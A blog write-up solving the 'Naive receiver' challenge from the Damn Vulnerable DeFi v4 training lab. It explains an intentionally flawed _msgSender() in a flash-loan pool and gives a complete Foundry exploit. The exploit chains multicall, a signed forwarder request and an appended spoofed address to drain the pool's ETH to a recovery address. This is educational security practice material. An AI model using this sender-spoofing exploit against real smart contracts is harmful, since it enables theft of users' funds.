Challenge 2: Naive receiver, Damn vulnerable defi V4 lazy solutions series

Siddharth PatelSiddharth Patel
3 min read

Why Lazy?

I’ll strongly assume that you’ve gone through challenge once or more time and you’ve some understandings of the challenge contracts flows. So, I’ll potentially will go towards solution directly.

Problem statement:

Our aim to make Flashloan providing smart contract(NaiveReceiverPool)'s balance 0 by extracting all Eth available and transfer it to recovery address.

Multi call and Forwarder is going to be used to accomplish this so, make sure to have at least some understandings is plus.

This problem isn't tricky to solve as vulnerable code seems put in code intentionally. you will find where to get into exploit it very easily but the method to accomplish is somehow tricky as it contains to use of forwarding, multi call and signing.

vulnerability

NaiveReceiverPool smart contract is providing flash loans, depositing and withdrawing functionality where deposit and withdraw is using custom _msgSender() function which has some vulnerable code clearly on certain condition which is,

When trustedForwarder was the caller(msg.sender) and msg.data>20 then it will splits msg.data to obtain extra bytes and then parsing it to address which is going to be used as new _msgSender() response.

src/naive-receiver/NaiveReceiverPool.sol

    function withdraw(uint256 amount, address payable receiver) external {
        // Reduce deposits
        deposits[_msgSender()] -= amount;
        totalDeposits -= amount;

        // Transfer ETH to designated receiver
        weth.transfer(receiver, amount);
    }

    function _msgSender() internal view override returns (address) {
        if (msg.sender == trustedForwarder && msg.data.length >= 20) {
            return address(bytes20(msg.data[msg.data.length - 20:]));
        } else {
            return super._msgSender();
        }
    }

The Attack Strategy

If we managed to call NaiveReceiverPool's withdraw function forwarded with trustedForwarder with some extra msg.data which will parse as address which has deposited balance then we are good to go.

We have to find someone with deposits. how do we do it?

For this, there's another catch here,
In Flash loans function if you see, fees aren't transferred to feeReceiver at that instance but it is storing as deposits balance of feeReceiver. Also Flashloan charges fixed 1 Eth as fees on any amount of flash loan.

WE GOT IT!

NaiveReceivePool's balance is 10 eth. let's flashloan any feasible amount of weth that we are capable to return(1 eth for flashloan receiver) for 10 times. which increases deposits[feeReceiver] to 10 eth. then attack(withdraw) with the approach we discussed earlier.

Solution

Here's the code,

test/naive-receiver/NaiveReceiver.t.sol

    function test_naiveReceiver() public checkSolvedByPlayer {

        bytes[] memory callDatas = new bytes[](11);
        for(uint i=0; i<10; i++){
            callDatas[i] = abi.encodeCall(NaiveReceiverPool.flashLoan, (receiver, address(weth), 0, "0x"));
        }
        callDatas[10] = abi.encodePacked(abi.encodeCall(NaiveReceiverPool.withdraw, (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))),
            bytes32(uint256(uint160(deployer)))
        );

        bytes memory callData;
        callData = abi.encodeCall(pool.multicall, callDatas);

        BasicForwarder.Request memory request = BasicForwarder.Request(
            player,
            address(pool),
            0,
            30000000,
            forwarder.nonces(player),
            callData,
            1 days
        );

        bytes32 requestHash = keccak256(
            abi.encodePacked(
                "\x19\x01",
                forwarder.domainSeparator(),
                forwarder.getDataHash(request)
            )
        );

        (uint8 v, bytes32 r, bytes32 s)= vm.sign(playerPk ,requestHash);
        bytes memory signature = abi.encodePacked(r, s, v);

        require(forwarder.execute(request, signature));
    }

To illustrate the code flow, refer this,

Let's see it in action,

forge test --mp test/naive-receiver/NaiveReceiver.t.sol -vv

Succeed!🔥💸

Incase if you need all solutions,

https://github.com/siddharth9903/damn-vulnerable-defi-v4-solutions

0
Subscribe to my newsletter

Read articles from Siddharth Patel directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Siddharth Patel
Siddharth Patel

I'm Siddharth Patel, a Full Stack Developer and Blockchain Engineer with a proven track record of spearheading innovative SaaS products and web3 development. My extensive portfolio spans across diverse sectors, from blockchain-based tokenized investment platforms to PoS software solutions for restaurants, and from decentralized finance (DeFi) initiatives to comprehensive analytics tools that harness big data for global stock trends. Let's connect and explore how we can innovate together.